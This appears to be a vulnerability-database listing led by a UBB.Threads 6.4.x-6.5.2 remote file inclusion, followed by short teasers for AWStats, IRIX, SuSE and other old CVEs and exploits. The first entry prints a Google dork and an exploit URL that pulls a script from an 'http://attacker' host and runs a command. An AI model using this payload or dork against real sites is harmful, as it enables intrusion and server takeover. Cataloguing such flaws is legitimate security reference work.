UBBCentral UBB.Threads 6.4.x 6.5.2 - thispath Remote File Inclusion

UBBCentral UBB.Threads 6.4.x 6.5.2 - thispath Remote File Inclusion Anomaly 1n The System presents UBB.threads = 6.4.x Remote File Inclusion founded by V4mu in 04/20/2006 URL: http://www.ubbcentral.com Google dork: allinurl:"/ubbthreads/" exploit:...

UBB Threads 6.4.x-6.5.2 (thispath) Remote File Inclusion Vulnerability

No description provided by source. Anomaly 1n The System presents UBB.threads = 6.4.x Remote File Inclusion founded by V4mu in 04/20/2006 URL: http://www.ubbcentral.com Google dork: allinurl:"/ubbthreads/" exploit: /addpostnewpoll.php?addpoll=preview&thispath=http://attacker/cmd.gif?&cmd=id...

AWStats < 6.4 (referer) Remote Command Execution Exploit

No description provided by source. !/usr/bin/perl AWStats 6.4 command execution exploit based on http://www.idefense.com/application/poi/display?id=290&type=vulnerabilities coded by 1dt.w0lf 11.08.2005 RST/GHC http://rst.void.ru http://ghc.ru Note Exploitation will not occur until the stats page...

AWstats Path Disclosure Vulnerability

Good morning all. "AWStats is a free powerful and featureful tool that generates advanced web, streaming, ftp or mail server statistics, graphically. This log analyzer works as a CGI or from command line and shows you all possible information your log contains, in few graphical web pages." Once y...

CVE-2005-1527

Eval injection vulnerability in awstats.pl in AWStats 6.4 and earlier, when a URLPlugin is enabled, allows remote attackers to execute arbitrary Perl code via the HTTP Referrer, which is used in a $url parameter that is inserted into an eval function call...

CVE-2005-0436

Direct code injection vulnerability in awstats.pl in AWStats 6.3 and 6.4 allows remote attackers to execute portions of Perl code via the PluginMode parameter...

CVE-2002-0768

Buffer overflow in lukemftp FTP client in SuSE 6.4 through 8.0, and possibly other operating systems, allows a malicious FTP server to execute arbitrary code via a long PASV command...

CVE-1999-1181

Vulnerability in On-Line Customer Registration software for IRIX 6.2 through 6.4 allows local users to gain root privileges...

CVE-1999-1131

Buffer overflow in OSF Distributed Computing Environment DCE security demon secd in IRIX 6.4 and earlier allows attackers to cause a denial of service via a long principal, group, or organization...

CVE-2001-0719

This CVE affects Microsoft Windows Media Player 6.4, where a buffer overflow in handling Advanced Streaming Format (ASF) files can allow remote execution of arbitrary code. The vulnerability is triggered by a malformed ASF file, with a network attack vector, no authentication, and no user interac...

CVE-1999-1131

The CVE-1999-1131 entry concerns the OSF Distributed Computing Environment (DCE) security daemon (secd) on IRIX 6.4 and earlier. The vulnerability is a buffer overflow in secd triggered by a long principal, group, or organization, leading to a denial of service. Documents consistently describe th...

CVE-1999-1039

CVE-1999-1039 affects IRIX 6.4, specifically the diskalign and diskperf code paths patched by IRIX 6.4 patches 2291 and 2848. A local user could create root-owned files, leading to a root compromise. The connected records confirm affected components and root-privelege impact; no exploit details a...

CVE-1999-1039

Vulnerability in 1 diskalign and 2 diskperf in IRIX 6.4 patches 2291 and 2848 allow a local user to create root-owned files leading to a root compromise...

CVE-1999-1040

Vulnerabilities in 1 ipxchk and 2 ipxlink in NetWare Client 1.0 on IRIX 6.3 and 6.4 allows local users to gain root access via a modified IFS environmental variable...

CVE-1999-1492

Vulnerability in 1 diskperf and 2 diskalign in IRIX 6.4 allows local attacker to create arbitrary root owned files, leading to root privileges...

CVE-1999-1492

CVE-1999-1492 describes a vulnerability in IRIX 6.4 where the local attacker can leverage the diskperf and diskalign utilities to create arbitrary root-owned files, potentially gaining root privileges. The affected components are diskperf and diskalign on IRIX 6.4; the root cause is a local acces...

dqs 3.2.7 local root exploit.

Subject: dqs 3.2.7 local root exploit. Hello. DESCRIPTION: I found a buffer overflow vunerability on the /usr/bin/dsh dqs 3.2.7 package. I really don't know if this bug was discovered already. if thats right, then sorry =. If a long line on the first argument is gived, the program gives a SIGSEGV...

CVE-2000-0868

The CVE-2000-0868 issue affects Apache 1.3.12 on SuSE Linux 6.4 where the default configuration exposes CGI script source code. The vulnerability arises because /cgi-bin/ requests can be rewritten to /cgi-bin-sdb/, which is an Alias of /cgi-bin, enabling remote attackers to disclose source code o...

CVE-2000-1016

The CVE-2000-1016 entry concerns the default Apache httpd.conf alias on SuSE 6.4 that exposes /usr/doc via /doc/packages, enabling remote read of package documentation and system configuration information. The vulnerability is an information disclosure in the web server configuration, with the af...

scx-sa-13.txt

============================================================================= Securax-SA-13 Security Advisory belgian.networking.security Dutch ============================================================================= Topic: all tty's can be written to when connecting Announced: 2001-01-01...